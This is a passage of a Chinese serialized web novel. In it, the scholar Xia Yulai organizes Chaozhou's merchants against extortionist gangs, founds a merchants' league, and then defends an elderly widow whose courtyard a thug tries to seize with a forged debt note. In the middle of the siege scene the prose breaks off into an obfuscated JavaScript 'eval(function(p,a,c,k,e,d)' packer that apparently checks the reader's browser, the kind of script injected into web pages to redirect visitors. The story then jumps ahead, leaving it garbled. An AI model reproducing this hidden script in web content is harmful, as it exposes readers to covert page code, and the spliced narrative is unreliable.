夏雨来坐在一旁,心中盘算着 —— 这刀疤脸自称来自广州府,还跟知府有交情,不知是真是假。若是真的,硬来肯定不行,只能智取;若是假的,那就是狐假虎威,更要揭穿他们的真面目。 酒过三巡,刀疤脸喝得满脸通红,话也多了起来:“夏秀才,不是老子吹,广州府的商户,哪个不给我面子?这次来潮州,就是看中了你们这儿的商路,以后,所有进出潮州的货物,都得经过老子的手,抽三成利!” 瘦猴也跟着起哄:“疤哥可是跟着广州府的盐铁转运使大人混的,谁敢不听话,就让谁没好日子过!” 夏雨来心中一动,盐铁转运使是朝廷命官,怎么会跟这种恶霸勾结?这里面肯定有猫腻。他不动声色地给刀疤脸满上酒:“疤哥真是厉害。不过,潮州城的商户们都是小本生意,三成利实在太高,能不能少点?” 刀疤脸眼睛一瞪:“少点?一分都不能少!明天开始,我就派人去各条街收地盘费,谁敢不交,就砸谁的摊子!” 夏雨来知道,再跟他们纠缠下去也没用,只能先稳住他们。他点了点头:“好,我明天跟商户们商量商量。疤哥今天喝得尽兴,这账我来结。” 说完,他起身付了银子,带着孙老实离开了悦来客栈。 回到笔墨摊,孙老实忍不住问道:“夏秀才,你真要让商户们交地盘费啊?那大家可就惨了!” 夏雨来摇了摇头:“当然不是。这伙人就是一群恶霸,所谓的跟转运使大人有交情,多半是假的。我刚才故意示弱,就是想摸清他们的底细。你赶紧去通知东门街的商户们,今晚戌时在城西的土地庙集合,咱们商量对策。” 孙老实点了点头,立刻匆匆离去。夏雨来看着刀疤脸等人离去的方向,眼神变得坚定 —— 潮州城的安宁,绝不能被这伙恶霸破坏,他一定要想办法,联合商户们,把这伙人赶出潮州城。 二、商户受难,暗潮涌动 当晚戌时,城西的土地庙灯火通明。东门街、西街、南街、北街的商户们来了足足有几十人,有卖粮食的、卖布匹的、开客栈的、做木工的,个个面带愁容,议论纷纷。 “那刀疤脸太欺负人了!我那布庄一天才赚二两银子,他就要五两地盘费,这不是要我的命吗?” 布庄老板周掌柜愁眉苦脸地说。旁边开客栈的吴老板叹了口气:“我那客栈也被他们盯上了,说要抽三成利,不然就放火烧了我的客栈!” 卖粮食的陈老板拍着大腿:“我今天去城外拉粮食,还被他们的人拦着,非要交过路费,不然就不让过!这往后,货物都进不来,生意还怎么做?” 大家你一言我一语,越说越激动,有的甚至抹起了眼泪。 夏雨来站在供桌前,看着眼前的景象,心中五味杂陈。这些商户们都是勤勤恳恳做生意,养家糊口,却要遭受这样的欺压。他清了清嗓子:“各位乡亲,安静一下。今天刀疤脸的所作所为,大家都看到了,他们就是一群恶霸,想垄断潮州的商路,压榨我们。若是我们屈服了,以后就永无宁日,不仅赚的钱要被他们抢走,甚至连摊子都保不住。” “夏秀才,我们知道不能屈服,可他们人多势众,还有武器,我们这些商户手无寸铁,怎么跟他们斗啊?” 王二嫂擦着眼泪问道。张五郎也跟着说:“是啊,夏秀才,你足智多谋,上次破了赈灾银的案子,这次你一定要想想办法,救救大家!” 夏雨来点了点头:“大家放心,我不会让大家白白受欺负的。不过,单凭我一个人的力量不行,必须我们所有人联合起来。我已经打听清楚了,这刀疤脸一伙人大概有二十多个,都住在城南的悦来客栈。他们所谓的跟广州府的转运使大人有交情,很可能是假的,只是想吓唬我们。” “那我们该怎么办?” 刘三急切地问道,他今天被打得浑身是伤,荔枝也全毁了,心中又气又急。夏雨来道:“第一步,我们先假装答应他们的要求,拖延时间,摸清他们的底细,看看他们背后到底有没有靠山;第二步,我们联合全城的商户,统一行动,若是他们再欺压我们,我们就集体罢市,让潮州城的商业瘫痪,到时候王大人肯定会出面干预;第三步,我们要收集他们欺压商户的证据,到时候联名上告县衙,让王大人依法处置他们。” “罢市?” 周掌柜犹豫了一下,“罢市一天,我们损失可不小啊。” 夏雨来道:“舍不得孩子套不住狼。若是我们不反抗,以后天天都要受他们的压榨,损失更大。只要我们团结一心,坚持几天,王大人肯定会给我们做主的。” 大家互相看了看,都点了点头。卖茶叶蛋的李阿婆道:“夏秀才说得对,我们听你的!只要能把这伙恶霸赶走,就算罢市几天也值了!” 其他商户也纷纷附和:“对,我们听夏秀才的!团结一心,跟他们斗到底!” 夏雨来心中欣慰,他道:“好!那我们就这么定了。明天,大家先假装答应交地盘费,但是要故意拖延,比如先说没钱,要凑一凑,争取三天时间。这三天里,大家要暗中收集他们欺压商户的证据,比如他们打人、砸摊子的证人证言,还有他们强收钱财的收据。孙老实,你负责联络各个街道的商户,确保大家统一行动;周掌柜,你负责记录证据;吴老板,你在客栈里安插个人,打听他们的动静。” “没问题!” 几人齐声应道。散会后,商户们各自离去,心中都燃起了希望。孙老实留下来,对夏雨来道:“夏秀才,你说这办法能行吗?万一王大人不管怎么办?” 夏雨来道:“王大人是个清官,上次赈灾银的案子就能看出来。潮州城的商业瘫痪,不仅百姓们生活不便,县衙的税收也会受影响,他肯定不会坐视不管的。而且,我已经让人去府城打听了,广州府的盐铁转运使大人是个正直的官员,根本不可能跟刀疤脸这种恶霸勾结,这伙人就是狐假虎威。” 孙老实点了点头:“那就好。我明天一早就去联络其他街道的商户,一定把大家都团结起来。” 夏雨来道:“好。另外,你要提醒大家,千万要小心,别被刀疤脸的人发现我们的计划,不然就麻烦了。” 第二天一早,刀疤脸果然带着跟班们来收地盘费了。王二嫂按照事先商量好的,哭丧着脸说:“疤哥,实在对不起,我昨天的虾都被您踹翻了,没赚到钱,能不能宽限几天,我凑凑钱再给您?” 刀疤脸眼睛一瞪:“宽限几天?可以,但是要多交一两银子的滞纳金!” 王二嫂连忙点头:“好,好,谢谢疤哥!” 其他商户也纷纷效仿,有的说货物还没卖掉,有的说家里有急事花了钱,都请求宽限几天。刀疤脸见大家都 “识相”,而且还答应多交滞纳金,心中得意,也就答应了:“好,老子就宽限你们三天!三天后,若是还交不上来,就别怪老子不客气!” 接下来的三天里,商户们一边暗中收集证据,一边互相传递消息。吴老板在悦来客栈里安插了一个伙计,每天都能打听出刀疤脸等人的动静 —— 他们每天都在客栈里喝酒吃肉,还招来了一些地痞流氓,看样子是想扩大势力。而且,伙计还听到刀疤脸跟人打电话(注:此处为古代通讯方式,如飞鸽传书或专人送信,原文用 “打电话” 为口语化表达,实际应为 “送信”),说潮州城的商户们都很听话,再过几天就能垄断商路了。 与此同时,夏雨来也派人去府城打听清楚了,广州府的盐铁转运使大人根本不认识刀疤脸,这伙人就是一群流窜的恶霸,在广州府欺压商户被官府通缉,才跑到潮州城来的。夏雨来心中大喜,只要揭穿他们的真面目,就能让他们原形毕露。 三天期限很快就到了。这天早上,刀疤脸带着二十多个跟班,气势汹汹地来到东门街,准备收地盘费。可没想到,所有的商户都关了门,街上空荡荡的,一个人都没有。刀疤脸愣了一下,随即怒吼:“这些商户们胆子不小,竟然敢跟老子作对!给我砸门!” 跟班们立刻上前,对着商户们的店铺门拳打脚踢,有的还拿起石头砸窗户。可商户们早就有准备,门都加固了,窗户也钉上了木板,一时之间根本砸不开。就在这时,夏雨来带着孙老实和几个身强力壮的商户走了过来,身后还跟着不少百姓。 “刀疤脸,你别再作恶了!” 夏雨来朗声道,“你根本不是什么广州府转运使大人的人,而是被官府通缉的恶霸!你在广州府欺压商户,跑到潮州城来继续作恶,今天,我们绝不会再让你得逞!” 刀疤脸脸色一变:“你胡说!老子跟转运使大人有关系,你再敢污蔑,老子杀了你!” 夏雨来冷笑一声:“是不是胡说,大家一看便知!” 他转身对百姓们道:“各位乡亲,这刀疤脸在广州府作恶多端,被官府通缉,证据确凿!他在潮州城欺压我们商户,砸摊子、打人、强收地盘费,大家都有目共睹!今天,我们商户们集体罢市,就是要反抗他的暴行,希望王大人能为我们做主!” 百姓们纷纷附和:“夏秀才说得对!这伙恶霸太可恶了,一定要严惩!”“王大人,快出来为我们做主啊!” 就在这时,远处传来一阵马蹄声,王大人带着一群衙役赶了过来。原来,夏雨来早就让人去县衙报了案,还把收集到的证据交给了王大人。 王大人勒住马,看着眼前的景象,脸色铁青:“刀疤脸,你竟敢在潮州城作恶,欺压商户,强收苛捐杂税,真是胆大包天!” 刀疤脸见王大人来了,心中有些害怕,但还是强装镇定:“王大人,您别听这夏雨来胡说,我跟广州府的转运使大人是朋友,您要是动我,转运使大人不会放过您的!” 王大人冷笑一声:“哼,广州府的转运使大人早已来信,说你是被通缉的恶霸,让本官一旦发现,立刻捉拿归案!来人,把这伙人全部拿下!” 衙役们立刻上前,刀疤脸的跟班们还想反抗,却哪里是衙役的对手,很快就被制服了。刀疤脸见大势已去,想要逃跑,却被夏雨来一脚绊倒,衙役们立刻上前将他五花大绑。 商户们见状,纷纷欢呼起来:“太好了!恶霸被抓住了!”“夏秀才,谢谢你!”“王大人英明!” 王大人看着大家,脸上露出了笑容:“各位商户,让你们受委屈了。这伙恶霸,本官一定会依法处置,还潮州城一个安宁。大家可以放心开店做生意了。” 夏雨来拱手道:“王大人英明神武,为民做主,学生替所有商户多谢王大人!” 王大人道:“夏秀才不必多礼。这次多亏了你联合商户们,收集证据,本官才能顺利捉拿这伙恶霸。你为潮州城立了大功啊!” 三、恶霸反扑,危机四伏 本以为事情就此结束,可没想到,三天后,一件意想不到的事情发生了。这天中午,孙老实匆匆跑到笔墨摊,脸色惨白:“夏秀才,不好了!刀疤脸的同伙来了!” 夏雨来心中一惊:“什么?他们来了多少人?” 孙老实喘着气:“大概有五十多个,个个拿着刀枪,已经占领了城南的码头,说要让我们交出你和王大人,不然就烧了码头,阻断潮州城的水路运输!” 夏雨来眉头紧锁,他没想到刀疤脸还有这么多同伙,看来这伙人比他想象的还要棘手。 原来,刀疤脸被抓后,他的同伙黑老三立刻召集了所有的手下,从邻县赶来潮州城,想要救出刀疤脸,并且继续垄断潮州城的商路。黑老三比刀疤脸还要凶残,据说以前是山贼出身,杀人不眨眼。 王大人很快也得到了消息,立刻召集衙役们商议对策。县衙里,王大人脸色凝重:“黑老三这伙人来势汹汹,足足有五十多人,而我们县衙的衙役只有三十多个,根本不是他们的对手。而且,他们占领了码头,阻断了水路运输,潮州城的货物进不来也出不去,用不了几天,就会出现物资短缺,百姓们肯定会恐慌。” 夏雨来道:“王大人,黑老三这伙人虽然人多,但都是乌合之众,而且他们的目的是为了救出刀疤脸,并且掠夺钱财,只要我们采取正确的策略,一定能打败他们。” 王大人道:“夏秀才,你有什么好办法?” 夏雨来道:“第一,我们要加固城防,防止黑老三的人攻城;第二,我们要安抚百姓,告诉他们不要恐慌,官府一定会保护他们的安全;第三,我们要联系周边县城的官府,请求他们派兵支援;第四,我们要利用商户们的力量,让他们组织起来,配合衙役们防守;第五,我们可以设下圈套,引诱黑老三的人进入城内,然后一网打尽。” 王大人点了点头:“好,就按你说的办!本官立刻让人去联系周边县城的官府,同时加固城防。商户们那边,就麻烦你去联络了。” 夏雨来道:“放心吧,王大人,我这就去。” 离开县衙,夏雨来立刻召集了全城的商户们。得知黑老三占领了码头,大家都很恐慌。“夏秀才,这可怎么办啊?黑老三比刀疤脸还凶,要是他们打进来,我们可就惨了!” 周掌柜急道。夏雨来道:“大家别慌!现在不是恐慌的时候,我们必须团结起来,配合官府防守。黑老三的人虽然多,但他们是客场作战,而且补给困难,只要我们坚持几天,周边县城的援兵一到,就能打败他们。” “可是,我们都是商户,手无寸铁,怎么防守啊?” 吴老板问道。夏雨来道:“我们不需要跟他们正面交锋。大家可以拿出家里的锄头、扁担、木棍,组成民团,负责防守各个街道的路口;客栈和酒楼的老板,可以为衙役们和民团提供食宿;布庄的老板,可以提供布料,制作旗帜和简易的防护装备;粮食店的老板,可以提供粮食,确保大家有足够的食物。只要我们各司其职,就能守住潮州城。” 大家纷纷点头:“好,我们听夏秀才的!”“为了保护我们的家园,我们一定尽力!” 接下来的几天里,潮州城掀起了一股备战的热潮。商户们纷纷拿出自己的物资,配合衙役们加固城防,组织民团。夏雨来则亲自指导民团训练,教他们如何利用地形优势,抵御敌人的进攻。 黑老三在码头驻扎了两天,见潮州城防守严密,而且迟迟没有交出夏雨来和王大人,心中大怒。这天早上,他带着手下,气势汹汹地向城门杀来。“兄弟们,冲啊!攻破城门,烧杀抢掠,财物女人都是我们的!” 黑老三挥舞着大刀,大声喊道。 城楼上,王大人亲自指挥衙役们防守。“放箭!” 随着王大人一声令下,箭如雨下,黑老三的人纷纷中箭倒地。可他们人多势众,很快就冲到了城门下,用撞木撞击城门。“哐当!哐当!” 城门被撞得摇摇欲坠。 夏雨来见状,立刻喊道:“大家别慌!往下扔石头、滚木!” 民团们立刻将准备好的石头、滚木扔下去,黑老三的人又倒下了一片。黑老三见状,怒吼道:“给我冲!谁能攻破城门,赏银子一百两!” 重赏之下,必有勇夫,黑老三的人更加疯狂地撞击城门。 就在这时,城门突然 “咔嚓” 一声,被撞开了一个缺口。黑老三大喜:“冲进去!” 就在他的手下准备冲进去的时候,夏雨来突然喊道:“点火!” 早已准备好的民团们立刻将点燃的火把扔下去,城门下早已铺好的干草和煤油瞬间燃起熊熊大火,黑老三的人被烧得哭爹喊娘,纷纷后退。 黑老三没想到夏雨来会设下这样的圈套,心中又气又急:“撤退!快撤退!” 他带着手下,狼狈地退回了码头。王大人和夏雨来站在城楼上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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案件尘埃落定,商户们纷纷来到县衙,感谢王大人和夏雨来。“王大人,夏秀才,真是太谢谢你们了!要是没有你们,我们的生意就做不下去了,潮州城也不会有今天的安宁!” 周掌柜感激地说。王大人道:“各位商户不必客气,保护百姓的生命财产安全,是本官的职责。这次能够顺利捉拿恶霸,也多亏了夏雨来秀才的智慧和大家的团结。” 夏雨来道:“王大人说得对,这次能够打败恶霸,全靠大家的团结。不过,我们不能只解决眼前的问题,还要想办法,建立一个长效机制,保护商户们的利益,防止类似的事情再次发生。” 王大人点了点头:“夏秀才说得有道理,你有什么好建议?” 夏雨来道:“我建议,成立一个‘潮州商户联盟’,由各个行业的商户代表组成,负责协调商户之间的关系,维护商户们的合法权益。同时,联盟可以制定一些商业规则,规范市场秩序,避免恶性竞争。另外,联盟还可以组织民团,定期训练,一旦遇到恶霸或者突发事件,能够及时应对。” 商户们纷纷赞同:“好!这个主意好!成立商户联盟,我们就有了自己的组织,再也不怕被人欺负了!”“夏秀才,我们都听你的,你来当联盟的盟主吧!” 夏雨来道:“盟主就不必了,我只是个书生,还是让周掌柜来当盟主吧。周掌柜在商户中威望高,而且经验丰富。我可以当联盟的军师,为大家出谋划策。” 周掌柜连忙推辞:“夏秀才,你足智多谋,只有你才能当这个盟主。” 夏雨来道:“周掌柜,大家都是为了保护商户们的利益,谁当盟主都一样。你就别推辞了,我们大家都会支持你的。” 周掌柜见夏雨来态度坚决,只好答应:“好,那我就恭敬不如从命了。我一定会尽心尽力,为大家服务。” 很快,潮州商户联盟正式成立了。联盟制定了详细的章程,明确了商户们的权利和义务,规范了市场秩序。联盟还组织了一支民团,由身强力壮的商户组成,夏雨来亲自担任教头,定期进行训练。同时,联盟还与县衙建立了联系,一旦遇到问题,能够及时向县衙反映,寻求帮助。 商户联盟成立后,潮州城的商业更加繁荣了。商户们之间互相帮助,团结友爱,再也没有了恶性竞争。而且,有了民团的保护,再也没有恶霸敢来欺压商户了。周边府县的商户们听说了潮州商户联盟的事情,纷纷前来学习经验,有的还加入了联盟,潮州城的商路也变得更加畅通了。 这天,东门街的早市格外热闹。王二嫂的河虾摊前,顾客排起了长队;张五郎的豆腐梆子敲得震天响;李阿婆的茶叶蛋摊前,香气扑鼻。夏雨来和孙老实坐在笔墨摊前,看着眼前热闹的景象,心中充满了欣慰。 孙老实道:“夏秀才,没想到商户联盟的效果这么好。现在,大家的生意都越来越好了,而且再也不用担心被恶霸欺负了。” 夏雨来笑了笑:“是啊,团结就是力量。只要商户们团结一心,遵守规则,互相帮助,潮州城的商业一定会越来越繁荣。” 周掌柜走了过来,脸上带着笑容:“夏秀才,孙老弟,告诉你们一个好消息。广州府的商户们也想加入我们的联盟,以后,我们的商路就能延伸到广州府了!” 夏雨来和孙老实心中大喜:“太好了!这真是个好消息!” 就在这时,一个穿着官服的人走了过来,对着夏雨来和周掌柜拱手道:“夏秀才,周盟主,本官是广州府的通判,奉命前来拜访。听说你们成立了商户联盟,维护了市场秩序,保护了商户利益,朝廷非常赞赏。特命本官前来,邀请你们去广州府,向各地商户推广你们的经验。” 夏雨来和周掌柜对视一眼,都从对方眼中看到了喜悦。他们知道,潮州商户联盟的影响越来越大了,他们不仅保护了潮州城的商户,还能为更多的商户带来福祉。 五、市井欢腾,商路绵长 潮州城的日子,就像韩江的流水,平静而又悠长。自从商户联盟成立后,潮州城的商业越来越繁荣,百姓们的生活也越来越富足。每日清晨,东门街的早市依旧是最热闹的地方,商户们的吆喝声、顾客们的讨价还价声,交织在一起,构成了一幅生机勃勃的市井画卷。 王二嫂的河虾摊前,总是围满了人。她一边称虾,一边和顾客闲聊:“自从成立了商户联盟,咱这生意越来越好做了。以前担心恶霸欺压,现在有联盟和民团保护,再也不用担心了。而且,联盟还帮我们联系了外地的商户,我的河虾现在不仅在潮州城卖,还卖到了广州府呢!” 张五郎的豆腐摊也不例外,他的豆腐因为品质好,价格公道,不仅受到潮州城百姓的喜爱,还成了外地客商的抢手货。“以前做豆腐,就怕遇到恶霸强收地盘费,现在好了,有联盟做主,我们可以安心做生意了。” 张五郎一边忙碌,一边笑着说。 卖茶叶蛋的李阿婆,生意也比以前好了很多。她的茶叶蛋,不仅在潮州城畅销,还被商户联盟推荐给了来往的客商,成了潮州城的特色小吃。“多亏了夏秀才和周盟主,成立了商户联盟,不然我这老婆子,哪能有今天的好日子啊!” 李阿婆脸上洋溢着幸福的笑容。 商户联盟的影响越来越大,不仅周边府县的商户们纷纷加入,就连朝廷也对商户联盟给予了肯定。朝廷不仅赏赐了牌匾,还免征了潮州城商户们三年的赋税,鼓励商户们发展商业。 这天,潮州城举行了盛大的庆典,庆祝商户联盟成立一周年。东门街被装点得焕然一新,挂满了红灯笼,商户们纷纷拿出自己的特色商品,摆在街上展示。百姓们扶老携幼,涌上街头,欣赏着精彩的表演,品尝着美味的小吃,脸上洋溢着喜悦的笑容。 夏雨来和周掌柜站在街头,看着眼前热闹的景象,心中充满了感慨。周掌柜道:“夏秀才,真没想到,我们的商户联盟能发展到今天这个地步。这都是你的功劳啊!” 夏雨来道:“周掌柜,这不是我一个人的功劳,是大家共同努力的结果。没有商户们的团结,没有王大人的支持,就没有商户联盟的今天。” 王大人也来到了庆典现场,他看着眼前的景象,脸上露出了欣慰的笑容:“夏秀才,周盟主,你们做得很好!商户联盟不仅维护了商户的利益,还促进了潮州城的经济发展,为百姓们带来了福祉。本官一定会向朝廷上奏,为你们请功!” 夏雨来和周掌柜连忙拱手道:“王大人过奖了,这都是我们应该做的。” 就在这时,一个来自广州府的商户走上前来,对着夏雨来和周掌柜拱手道:“夏秀才,周盟主,感谢你们成立了商户联盟,让我们这些商户有了依靠。现在,广州府和潮州城的商路畅通了,我们的生意也越来越好了。我代表广州府的商户们,向你们表示感谢!” 其他外地商户也纷纷上前,表达了自己的感激之情。夏雨来道:“各位商户不必客气。商户联盟的宗旨,就是团结所有商户,维护大家的合法权益,促进商业发展。以后,我们还要继续努力,让商路延伸到更多的地方,让更多的商户受益。” 庆典持续了一整天,直到夕阳西下,百姓们才恋恋不舍地离去。夏雨来和孙老实、周掌柜等人坐在笔墨摊前,看着夕阳下的潮州城,心中充满了希望。 孙老实道:“夏秀才,你说咱们的商户联盟,以后会发展成什么样?” 夏雨来笑了笑:“我相信,只要我们坚守初心,团结一心,商户联盟一定会越来越壮大。我们不仅要保护商户的利益,还要承担起社会责任,帮助那些有困难的百姓,为潮州城的发展贡献更多的力量。” 周掌柜点了点头:“好!夏秀才,我跟你一起,为了商户联盟,为了潮州城,继续努力!” 夏雨来看着眼前的伙伴们,心中充满了温暖。他知道,自己的选择是正确的,只要心中有正义,手中有智慧,团结一切可以团结的力量,就一定能创造出更加美好的未来。 潮州城的夜色,温柔而又宁静。东门街的灯火渐渐亮起,映照着百姓们幸福的脸庞。韩江的流水,载着商船,顺着商路,流向远方。夏雨来知道,这场护商安民的斗争,虽然已经结束,但商户联盟的使命,才刚刚开始。他会和所有商户一起,坚守初心,团结奋进,让潮州城的商路越来越绵长,让百姓们的生活越来越幸福。而他的故事,也会像韩江的流水一样,代代相传,成为一段不朽的佳话。 39. 义助孤老 一、西街老院,孤婆遭难 潮州城的秋意渐浓,东门街的青石板路被一场夜雨洗得发亮,晨起的薄雾像一层轻纱裹着街巷,吆喝声比往日柔了些,却依旧透着市井的鲜活。王二嫂的河虾摊前,她正用抹布擦着湿漉漉的木案,嘴里念叨着:“这鬼天气,河虾都躲在江底不肯出来,今天怕是要少赚两文钱!” 张五郎的豆腐梆子敲得慢悠悠,铜勺碰着木桶沿,发出 “笃笃” 的闷响:“下雨好啊,嫩豆腐不易坏,正好多做两板,给城西苏阿婆送一块去,老人家牙口不好,就爱吃我这软乎乎的豆腐。” 夏雨来刚帮孙老实把受潮的徽墨搬到屋檐下晾晒,闻言抬头:“苏阿婆?可是西街那户独居的老人?” 孙老实一边用干草擦拭砚台,一边点头:“可不是嘛!苏阿婆今年快七十了,无儿无女,就守着祖上传下来的那座老院子过日子。以前还能靠给人缝补浆洗换点粮食,现在眼睛花了,手脚也不利索,日子过得紧巴巴的。张五郎心善,每隔几天就给她送块豆腐,李阿婆也常给她带茶叶蛋。” 夏雨来指尖捻着一块干透的墨块,心中泛起一丝暖意:“街坊邻里互帮衬,本该如此。” 他正说着,就见西街方向匆匆跑来一个小丫头,约莫十岁光景,梳着两条麻花辫,裤脚沾满泥水,脸上挂着泪珠,一边跑一边喊:“夏秀才!孙掌柜!不好了!苏阿婆被人欺负了!” 这丫头是苏阿婆邻居家的孩子,名叫妞妞,平时常帮阿婆跑腿买东西。孙老实连忙放下砚台:“妞妞别急,慢慢说,谁欺负苏阿婆了?” 妞妞喘着粗气,抹了把眼泪:“是…… 是城南的刘歪嘴!带着好几个壮汉,在阿婆家门口吵吵闹闹,说要拆阿婆的院子,还把阿婆推倒在地,阿婆哭得好伤心!” 夏雨来脸色一沉,袖口攥得发紧。他早听说过刘歪嘴,本是潮州城的地痞流氓,前些年因为赌博输光了家产,就靠着敲诈勒索孤寡老人过活,手脚不干净,嘴还歪眼斜,做人更是歪心歪肺。“孙老弟,笔墨先晾着,我们去看看!” 夏雨来话音未落,就已经迈步向西街走去,孙老实连忙抓起墙角的扁担跟上,妞妞在前面带路,一路小跑。 西街比东门街清静些,大多是老旧的院落,青石板路更窄,两旁的墙壁爬满了青苔。远远就听见一阵喧闹声,夹杂着男人的呵斥和老人的呜咽。走近了,只见苏阿婆的院门前围了不少街坊,几个壮汉正抬脚踹着那扇斑驳的木门,门板发出 “吱呀” 的呻吟,仿佛随时都会散架。 门内,苏阿婆蜷缩在门槛旁,花白的头发散乱着,沾了泥土和草屑,身上的粗布衣裳被扯得歪歪斜斜,脸上满是泪痕,嘴角还挂着一丝血迹。她双手紧紧抓着门框,声音嘶哑地哭喊:“这是我的家!你们不能抢!祖上传下来的院子,我死也不放手!” 为首的正是刘歪嘴,他歪着嘴巴,三角眼眯成一条缝,脸上堆着阴笑:“苏阿婆,话可不能这么说!你这院子,早年你丈夫在世时,借了我爹五十两银子,至今未还。如今我爹不在了,这债自然该你来还!五十两银子,利滚利,现在可是两百两!你拿不出银子,就只能用这院子抵债!” “胡说!” 苏阿婆气得浑身发抖,“我丈夫从未借过你家银子!你这是栽赃陷害!” 刘歪嘴从怀里掏出一张纸,抖得 “哗哗” 响:“白纸黑字,还有你丈夫的手印,你敢说没有?” 他把纸凑到苏阿婆眼前,“识相的,就乖乖把地契交出来,不然,我们就拆了这破院子,把你扔到城外去!” 周围的街坊们议论纷纷,却没人敢上前阻拦。邻居张大爷叹了口气:“刘歪嘴这是明抢啊!苏阿婆的丈夫是个老实人,怎么可能借高利贷?” 旁边的李大娘小声道:“谁敢管啊?刘歪嘴手下这些人,个个心狠手辣,上次王阿公劝了一句,就被他们打断了腿!” 夏雨来拨开人群,走到刘歪嘴面前,目光冷冷地扫过他手中的 “借据”:“刘歪嘴,光天化日之下,你竟敢伪造借据,强占孤寡老人的房产,就不怕王大人治你的罪?” 刘歪嘴转头见是夏雨来,脸上的笑容僵了一下,随即又恢复了嚣张:“哟,这不是大名鼎鼎的夏秀才吗?怎么,管完商户的闲事,又来管这老太婆的破事?我告诉你,这是我们的债务纠纷,跟你没关系!识相的赶紧走,不然,连你一起收拾!” 夏雨来蹲下身,轻轻扶起苏阿婆,从怀里掏出一方手帕,擦了擦她脸上的泪痕和泥土:“阿婆,您别怕,有我在。” 苏阿婆看着夏雨来,眼中燃起一丝希望,哽咽着说:“夏秀才,我真的没借过钱…… 他们是坏人,想抢我的房子……” “我知道。” 夏雨来柔声安慰道,转头看向刘歪嘴,“刘歪嘴,你说这借据是苏阿婆丈夫所写,可有证人?再者,苏阿婆丈夫已经过世五年,你为何现在才来要债?” 刘歪嘴眼珠一转:“证人?我手下这些兄弟都能作证!至于为何现在要债,那是因为我爹仁慈,念及苏阿婆孤寡,一直不忍心催讨,如今我爹病重,急需银子治病,不得不来要债!” “是吗?” 夏雨来冷笑一声,“你爹病重?我昨天还见他在悦来客栈喝酒吃肉,跟人赌钱,怎么看也不像是病重的样子。” 刘歪嘴脸色一变,没想到夏雨来竟然知道他爹的行踪。他强装镇定:“你…… 你胡说!我爹那是…… 那是为了散心!” 孙老实上前一步,握着扁担怒喝道:“刘歪嘴,你少在这里睁着眼睛说瞎话!夏秀才是什么人,你不清楚吗?上次刀疤脸那么厉害,还不是被夏秀才收拾得服服帖帖?我劝你赶紧滚,不然有你好果子吃!” 刘歪嘴身后的一个壮汉上前一步,握紧拳头:“小子,你敢吓唬我们歪嘴哥?找死!” 说着就要动手。夏雨来眼神一凛,站起身来:“怎么?想动手?潮州城的王法,在你们眼里就这么不值钱?” 他声音不大,却带着一股威严,壮汉下意识地后退了一步。 刘歪嘴见状,心中有些发怵,但想到那座老院子的价值,又壮起胆子:“夏秀才,我敬你是个读书人,不想跟你动手。但这院子,我今天必须要!” 他对手下们使了个眼色,“兄弟们,给我拆!谁敢阻拦,就打!” 壮汉们立刻抄起带来的锄头、铁锹,就要往院子里冲。就在这时,人群中传来一声大喝:“住手!” 只见周掌柜带着几个商户联盟的人匆匆赶来,后面还跟着十几个身强力壮的民团成员。周掌柜走到夏雨来身边:“夏秀才,我们听说这里出事,就赶紧赶来了!” 原来,孙老实刚才趁着夏雨来与刘歪嘴周旋,悄悄让妞妞去通知了商户联盟。商户联盟成立后,不仅维护商户的利益,也约定要互相帮助,保护街坊邻里。周掌柜听说刘歪嘴欺负孤老,立刻召集了附近的民团成员赶来支援。 刘歪嘴见来了这么多人,脸色顿时变得惨白。他知道商户联盟的厉害,连刀疤脸那样的恶霸都被收拾了,自己这些人根本不是对手。但他又不甘心就这么放弃,咬了咬牙:“夏秀才,你们以多欺少,算什么英雄好汉?” 夏雨来道:“对付你们这些欺压孤寡的恶霸,就该以其人之道还治其人之身。刘歪嘴,我再给你一次机会,立刻带着你的人滚,否则,我就把你伪造借据、强占房产的事情上报县衙,让王大人治你的罪!” 刘歪嘴眼珠乱转,心中盘算着:现在硬拼肯定不行,不如先撤,以后再想办法。他冷哼一声:“好!夏秀才,你给我等着!这笔账,我迟早会跟你算的!” 说着对手下们道:“我们走!” 一群人灰溜溜地离开了。 街坊们见状,纷纷松了口气。张大爷走上前来:“夏秀才,多亏了你啊!不然苏阿婆的房子就被他们抢走了!” 李大娘也道:“是啊,夏秀才,你真是我们的活菩萨!” 夏雨来笑了笑:“大家客气了,保护街坊邻里,是应该的。” 他转头看向苏阿婆:“阿婆,我们进屋说话吧。” 苏阿婆点了点头,在夏雨来的搀扶下,慢慢走进院子。院子不大,却收拾得干干净净,墙角种着几株菊花,开得正艳。院子中间有一口老井,旁边放着一个石磨,看得出苏阿婆平时很勤快。 进屋后,苏阿婆给夏雨来和孙老实倒了两杯茶,茶水虽然清淡,却透着一股清香。苏阿婆坐在椅子上,慢慢说起了往事:“我丈夫叫陈老实,是个木匠,为人憨厚老实,一辈子没跟人红过脸。五年前,他去城外给人做活,回来的路上遇到山洪,就这么没了……” 她擦了擦眼泪,“我们没有孩子,他走后,就剩下我一个人守着这院子。这院子是我公婆传下来的,已经有一百多年了,是我们陈家的根,我说什么也不能让它被别人抢走。” 夏雨来道:“阿婆,您放心,我一定会帮您保住这院子。刘歪嘴的借据是伪造的,只要我们找到证据,就能揭穿他的阴谋。” 孙老实道:“是啊,阿婆,夏秀才足智多谋,一定能帮您讨回公道!” 苏阿婆看着夏雨来,眼中充满了感激:“夏秀才,谢谢你…… 我一个孤老太婆,无依无靠,遇到这种事,真的不知道该怎么办……” 夏雨来道:“阿婆,您别客气。街坊邻里之间,本该互相帮助。您放心,从今天起,我会经常来看您,有什么事,您随时可以找我。” 二、歪嘴设局,步步紧逼 刘歪嘴带着手下灰溜溜地回到城南的破院子里,一进门就把桌子踹翻了:“废物!都是废物!连个老太婆的院子都抢不到,还被夏雨来那个臭书生坏了好事!” 手下们一个个低着头,不敢说话。 一个名叫狗蛋的瘦猴似的跟班小心翼翼地说:“歪嘴哥,那夏雨来太厉害了,还有商户联盟的人帮忙,我们根本不是对手啊。” 刘歪嘴瞪了他一眼:“厉害?再厉害他也是个书生!我就不信,我抢不到那老太婆的院子!” 